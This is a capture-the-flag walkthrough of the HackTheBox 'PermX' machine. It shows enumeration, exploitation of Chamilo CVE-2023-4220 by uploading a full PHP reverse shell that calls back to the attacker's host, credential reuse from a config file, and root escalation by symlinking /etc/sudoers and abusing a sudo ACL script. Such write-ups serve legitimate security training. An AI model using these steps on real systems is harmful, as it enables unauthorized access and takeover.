HackTheBox
Permx [0 pts]
Challenge Description:
Introduction
PermX is an easy machine where we will exploit the CVE-2023-4220 that will allow us to upload a .php file where we will achieve a reverse shell accessing as the user www-data
and looking for the configuration file of the database we will achieve the credentials where they are reused for the user mtz
, the user mtz
has sudo permissions in a script that grants permissions to any file located in the /home/mtz
and making a symbolic link from sudoers to the home we can change the permissions and achieve root.
Enumeration
We start with an nmap scan:
# Nmap 7.94SVN scan initiated Sun Oct 20 12:56:46 2024 as: nmap -p- --open -sSCV -n -Pn -vvv -oN target 10.10.11.23
Nmap scan report for 10.10.11.23
Host is up, received user-set (0.17s latency).
Scanned at 2024-10-20 12:56:46 CEST for 129s
Not shown: 64943 closed tcp ports (reset), 590 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAyYzjPGuVga97Y5vl5BajgMpjiGqUWp23U2DO9Kij5AhK3lyZFq/rroiDu7zYpMTCkFAk0fICBScfnuLHi6NOI=
| 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8A41tX6hHpQeDLNhKf2QuBM7kqwhIBXGZ4jiOsbYCI
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://permx.htb
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct 20 12:58:55 2024 -- 1 IP address (1 host up) scanned in 129.57 seconds
Let’s add permx.htb
to our /etc/hosts
and let’s access the web see what’s there:
PORT | SERVICE |
---|---|
22 | OpenSSH 8.9p1 |
80 | Apache httpd 2.4.52 |
If we do directory fuzzing we won’t find much so we will search by subdomains:
❯ ffuf -u http://permx.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 18 -t 100 -H 'HOST: FUZZ.permx.htb'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://permx.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.permx.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 18
________________________________________________
www [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 119ms]
lms [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 195ms]
:: Progress: [4989/4989] :: Job [1/1] :: 150 req/sec :: Duration: [0:00:17] :: Errors: 0 ::
We are going to add this subdomain to our /etc/hosts
and we are going to access it and see what it contains:
Let’s go fuzzing to see if we find anything interesting:
❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 'http://lms.permx.htb'
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://lms.permx.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/main (Status: 301) [Size: 313] [--> http://lms.permx.htb/main/]
/web (Status: 301) [Size: 312] [--> http://lms.permx.htb/web/]
/documentation (Status: 301) [Size: 322] [--> http://lms.permx.htb/documentation/]
/bin (Status: 301) [Size: 312] [--> http://lms.permx.htb/bin/]
/src (Status: 301) [Size: 312] [--> http://lms.permx.htb/src/]
/app (Status: 301) [Size: 312] [--> http://lms.permx.htb/app/]
/vendor (Status: 301) [Size: 315] [--> http://lms.permx.htb/vendor/]
Progress: 2585 / 220547 (1.17%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 2608 / 220547 (1.18%)
===============================================================
Finished
===============================================================
We will be able to see that there is a directory called documentation
if we enter to it we will be able to see the following:
We found version 1.11
of Chamilo, if we search we can find the following CVE:
Foothold
Let’s download the CVE-2023-4220.sh
to our machine:
❯ wget https://raw.githubusercontent.com/Ziad-Sakr/Chamilo-CVE-2023-4220-Exploit/refs/heads/main/CVE-2023-4220.sh
--2024-10-20 15:58:43-- https://raw.githubusercontent.com/Ziad-Sakr/Chamilo-CVE-2023-4220-Exploit/refs/heads/main/CVE-2023-4220.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2471 (2,4K) [text/plain]
Saving to: ‘CVE-2023-4220.sh’
CVE-2023-4220.sh 100%[==================================================================================================>] 2,41K --.-KB/s in 0s
2024-10-20 15:58:43 (42,9 MB/s) - ‘CVE-2023-4220.sh’ saved [2471/2471]
We will see in the repository that we will need a .php
file, I will use phppentestmonkey:
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = 'YOURIP';
$port = YOURPORT;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Now let’s run the exploit:
❯ ./CVE-2023-4220.sh -f rev.php -h http://lms.permx.htb -p 9999
-e
The file has successfully been uploaded.
-e # Use This leter For Interactive TTY ;)
# python3 -c 'import pty;pty.spawn("/bin/bash")'
# export TERM=xterm
# CTRL + Z
# stty raw -echo; fg
-e
# Starting Reverse Shell On Port 9999 . . . . . . .
-e
listening on [any] 9999 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.11.23] 34490
Linux permx 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
14:03:57 up 1 day, 21:00, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ whoami
www-data
We will be able to see that there is a user named mtz
:
www-data@permx:/$ cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash
We will look for the chamilo lms database configuration file:
```bash
www-data@permx:/var/www/chamilo/app/config$ cat configuration.php
<?php
// Chamilo version 1.11.24
// File generated by /install/index.php script - Sat, 20 Jan 2024 18:20:32 +0000
/* For licensing terms, see /license.txt */
/**
* This file contains a list of variables that can be modified by the campus site's server administrator.
* Pay attention when changing these variables, some changes may cause Chamilo to stop working.
* If you changed some settings and want to restore them, please have a look at
* configuration.dist.php. That file is an exact copy of the config file at install time.
* Besides the $_configuration, a $_settings array also exists, that
* contains variables that can be changed and will not break the platform.
* These optional settings are defined in the database, now
* (table settings_current).
*/
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3u*******';
// Enable access to database management for platform admins.
$_configuration['db_manager_enabled'] = false;
******
With these credentials we can enter the database but we will not find much that is useful to us, but if we try these credentials as the user mtz
we will see that they are correct:
www-data@permx:/var/www/chamilo/app/config$ su mtz
Password:
mtz@permx:/var/www/chamilo/app/config$ whoami
mtz
We can now read the user.txt
mtz@permx:~$ cat user.txt
75956a673e026c8**************
mtz@permx:~$
Privilege Escalation
If we do a sudo -l
we can see that we have permissions to execute as root the acl.sh
file:
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.sh
If we execute it we will see that it asks us to indicate a user
permission
file
, what we will try to do is to make a symbolic link from sudoers to our home:
mtz@permx:~$ sudo /opt/acl.sh
Usage: /opt/acl.sh user perm file
mtz@permx:~$ ln -s /etc/sudoers /home/mtz/fakesudoers
mtz@permx:~$ ls
acl.sh bash fakesudoers passwd script.sh user.txt
Now we will use the script and give rwx
permissions to the user mtz
:
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/fakesudoers
mtz@permx:~$ ls -la fakesudoers
lrwxrwxrwx 1 mtz mtz 12 Oct 20 14:25 fakesudoers -> /etc/sudoers
Now we will give us all the permissions in the sudoers:
mtz@permx:~$ cat fakesudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
Defaults use_pty
# This preserves proxy settings from user environments of root
# equivalent users (group sudo)
#Defaults:%sudo env_keep += "http_proxy https_proxy ftp_proxy all_proxy no_proxy"
# This allows running arbitrary commands, but so does ALL, and it means
# different sudoers have their choice of editor respected.
#Defaults:%sudo env_keep += "EDITOR"
# Completely harmless preservation of a user preference.
#Defaults:%sudo env_keep += "GREP_COLOR"
# While you shouldn't normally run git as root, you need to with etckeeper
#Defaults:%sudo env_keep += "GIT_AUTHOR_* GIT_COMMITTER_*"
# Per-user preferences; root won't have sensible values for them.
#Defaults:%sudo env_keep += "EMAIL DEBEMAIL DEBFULLNAME"
# "sudo scp" or "sudo rsync" should be able to use your SSH agent.
#Defaults:%sudo env_keep += "SSH_AGENT_PID SSH_AUTH_SOCK"
# Ditto for GPG agent
#Defaults:%sudo env_keep += "GPG_AGENT_INFO"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
mtz ALL=(ALL:ALL) ALL
Now we will try to do a sudo su
and enter the password obtained from the user mtz
:
mtz@permx:~$ sudo su
[sudo] password for mtz:
root@permx:/home/mtz# whoami
root